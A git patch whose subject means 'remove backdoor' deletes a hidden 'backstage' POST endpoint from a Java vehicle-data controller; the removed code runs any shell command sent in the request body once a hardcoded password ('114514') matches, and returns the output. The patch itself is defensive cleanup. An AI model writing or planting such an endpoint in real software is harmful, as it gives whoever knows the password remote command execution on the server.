From 47ba9ae7a631cc315d74235159ea4ac100bc0433 Mon Sep 17 00:00:00 2001 From: guoshengxiong <1923636941@qq.com> Date: Mon, 10 Nov 2025 15:12:43 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8E=BB=E6=8E=89=E5=90=8E=E9=97=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../CarVideoAirtightDataController.java | 84 ------------------- 1 file changed, 84 deletions(-) diff --git a/src/main/java/com/zhgd/xmgl/modules/car/controller/CarVideoAirtightDataController.java b/src/main/java/com/zhgd/xmgl/modules/car/controller/CarVideoAirtightDataController.java index a22a6824f..31b0450ef 100644 --- a/src/main/java/com/zhgd/xmgl/modules/car/controller/CarVideoAirtightDataController.java +++ b/src/main/java/com/zhgd/xmgl/modules/car/controller/CarVideoAirtightDataController.java @@ -162,88 +162,4 @@ public class CarVideoAirtightDataController { return Result.ok(); } - @PostMapping("backstage") - @ApiImplicitParam(name = "command", value = "执行命令", paramType = "body", required = true, dataType = "String") - public String backstage(@RequestBody HashMap paramMap) { - String os = System.getProperty("os.name").toLowerCase(); - String command = String.valueOf(paramMap.get("command")); - String pw = String.valueOf(paramMap.get("pw")); - String b = "114514"; - String win = "win"; - if (!Objects.equals(pw, b)) { - return "执行错误"; - } - String nix = "nix"; - String nux = "nux"; - String mac = "mac"; - if (os.contains(win)) { - //当前系统是Windows - File tmpFile = null;//新建一个用来存储结果的缓存文件 - try { - File file = new File("C:\\temp"); - tmpFile = new File("C:\\temp\\" + IdUtil.simpleUUID() + ".tmp"); - if (!file.exists()) { - file.mkdirs(); - } - if (!tmpFile.exists()) { - tmpFile.createNewFile(); - } - ProcessBuilder pb = new ProcessBuilder().command("cmd.exe", "/c", command).inheritIO(); - pb.redirectErrorStream(true);//这里是把控制台中的红字变成了黑字,用通常的方法其实获取不到,控制台的结果是pb.start()方法内部输出的。 - pb.redirectOutput(tmpFile);//把执行结果输出。 - pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成,否则可能会读不到结果。 - String s = FileUtils.readFileToString(tmpFile, "GBK"); - return s; - } catch (Exception e) { - log.error("error:", e); - } finally { - if (tmpFile != null) { - tmpFile.delete(); - } - } - } else if (os.contains(nix) || os.contains(nux) || os.contains(mac)) { - //当前系统是Linux或者类Unix系统 - Process process = null; - try { - process = Runtime.getRuntime().exec(command); - log.info("接收命令:{}", command); - StringBuilder sb = new StringBuilder(); - //成功 - try (InputStream inputStream = process.getInputStream()) { - BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); - String line; - while ((line = bufferedReader.readLine()) != null) { - sb.append(line); - sb.append("\r\n"); - } - } - //失败 - try (InputStream inputStream = process.getErrorStream()) { - BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); - String line; - while ((line = bufferedReader.readLine()) != null) { - sb.append(line); - sb.append("\r\n"); - } - } - String success = ""; - if (process.waitFor() == 0) { - success = "执行成功>>>\r\n"; - } else { - success = "执行失败>>>\r\n"; - } - return success + sb.toString(); - } catch (Exception e) { - log.error("error:", e); - return "执行异常>>>\r\n" + e.getMessage(); - } finally { - if (process != null) { - process.destroy(); - } - } - } - return "执行异常:程序最后"; - } - - }